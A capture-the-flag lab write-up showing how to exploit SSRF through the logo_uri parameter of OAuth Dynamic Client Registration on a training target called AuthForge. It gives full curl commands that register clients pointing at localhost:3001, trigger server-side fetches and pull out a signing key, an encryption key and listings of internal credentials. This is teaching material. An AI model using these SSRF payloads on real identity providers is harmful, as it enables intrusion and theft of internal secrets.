Lab 273 — AuthForge — SSRF via OAuth Dynamic Client Registration
Lab 273 — AuthForge — SSRF via OAuth Dynamic Client Registration
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: internal_metadata_service_access, localhost_ssrf, oauth_dynamic_client_registration_abuse, ssrf_via_logo_uri
Summary
Walkthrough of the CUSTOM Web Lab 273 — AuthForge — SSRF via OAuth Dynamic Client Registration. Task: OAuth 2.0 identity platform with Dynamic Client Registration (RFC 7591) where logo_uri is fetched server-side without SSRF protections. Solution: Registered OAuth client with logo_uri pointing t
Description
AuthForge is a modern identity-as-a-service platform built by ForgeWave Technologies. It provides OAuth 2.0 / OpenID Connect provider capabilities, API key management, and a developer portal for registering and managing OAuth client applications. The platform features dynamic client registration (RFC 7591), an interactive API documentation page, and a client management dashboard where developers can create, view, and manage their OAuth applications. As a security researcher, your task is to explore the platform and find a way to access internal services that should not be reachable from outside. Look for features that accept URLs and think about what the server does with them behind the scenes.
English summary: An OAuth 2.0 / OpenID Connect identity platform with Dynamic Client Registration (RFC 7591). The goal is to exploit server-side URL fetching in the logo_uri parameter to perform SSRF and access internal services.
Credentials: user@test.com / password123 Target: https://64fa3449-af31-4ad7-9836-23cc012ec887.labs.hackadvisor.io/
Analysis
Platform Reconnaissance
The platform is an Express.js application (X-Powered-By: Express) behind nginx/1.25.5. After logging in with the provided credentials, the dashboard shows:
- Existing OAuth clients list
- Navigation: Dashboard, OAuth Clients, API Docs, Settings
API Documentation Discovery
The API Docs page (/docs) documents the Dynamic Client Registration endpoint (POST /oauth/register) per RFC 7591. The critical finding is in the parameter description:
logo_uri— "URL to the client's logo. Fetched by the server when rendering the authorization page."
This means the server performs a server-side HTTP request to whatever URL is provided in logo_uri. The registration response includes a logo_endpoint field like /oauth/clients/<uuid>/logo which triggers the actual fetch.
SSRF Vector
The logo_uri field accepts arbitrary URLs including http://localhost:* and internal hostnames. There are no SSRF protections:
- No blocklist for localhost or 127.0.0.1
- No blocklist for private IP ranges (10.x, 172.16.x, 192.168.x)
- No blocklist for internal hostnames
- No URL scheme restrictions beyond http/https
Solution
Step 1: Authenticate and obtain API token
Login via the web form and obtain a session cookie, then generate a Bearer token for API access:
bash read-only • copy allowedURL="https://64fa3449-af31-4ad7-9836-23cc012ec887.labs.hackadvisor.io" # Login and capture session cookie COOKIE=$(curl -s -c - -X POST "$URL/login" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "email=user@test.com&password=password123" | grep connect.sid | awk '{print $NF}') # Generate Bearer token TOKEN=$(curl -s -b "connect.sid=$COOKIE" -X POST "$URL/api/tokens" | jq -r '.token')
Step 2: Register OAuth client with SSRF payload in logo_uri
Register a new OAuth client with logo_uri pointing to localhost:3001 to probe for internal services:
bash read-only • copy allowedcurl -s -X POST "$URL/oauth/register" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "client_name": "SSRF Test", "redirect_uris": ["https://example.com/callback"], "logo_uri": "http://localhost:3001/" }'
The response includes a logo_endpoint field: /oauth/clients/<uuid>/logo
Step 3: Trigger SSRF and discover internal service
Access the logo endpoint to trigger the server-side fetch:
bash read-only • copy allowedcurl -s -b "connect.sid=$COOKIE" "$URL/oauth/clients/<uuid>/logo"
Response from the internal metadata service at localhost:3001:
json read-only • copy allowed{ "error": "Not found", "available_endpoints": [ "/healthcheck", "/api/internal/services", "/api/internal/credentials", "/api/internal/config", "/api/internal/secret" ], "hint": "This is an internal metadata service. See /api/internal/services for available endpoints." }
Step 4: Exfiltrate internal secrets
Register another client targeting the secret endpoint:
bash read-only • copy allowedcurl -s -X POST "$URL/oauth/register" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "client_name": "SSRF Secret", "redirect_uris": ["https://example.com/callback"], "logo_uri": "http://localhost:3001/api/internal/secret" }'
Fetch the logo endpoint for the new client:
bash read-only • copy allowedcurl -s -b "connect.sid=$COOKIE" "$URL/oauth/clients/<new-uuid>/logo"
Response containing the flag:
json read-only • copy allowed{ "jwt_signing_key": "HS256:authforge-prod-signing-key-DO-NOT-SHARE", "master_encryption_key": "aes256:9f86d081884c7d659a2feaa0c55ad015", "flag": "FLAG{REDACTED}" }
Additional data exfiltrated via other endpoints
/api/internal/credentials— Database credentials (PostgreSQL on port 5432, userauthforge_svc), Redis (port 6379), and SMTP credentials/api/internal/services— Internal hostnameinternal-metadata.authforge.local, environmentproduction
Key Takeaways / Lessons
- Mastering internal_metadata_service_access, localhost_ssrf, oauth_dynamic_client_registration_abuse, ssrf_via_logo_uri was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 273 — AuthForge — SSRF via OAuth Dynamic Client Registration • Difficulty: Easy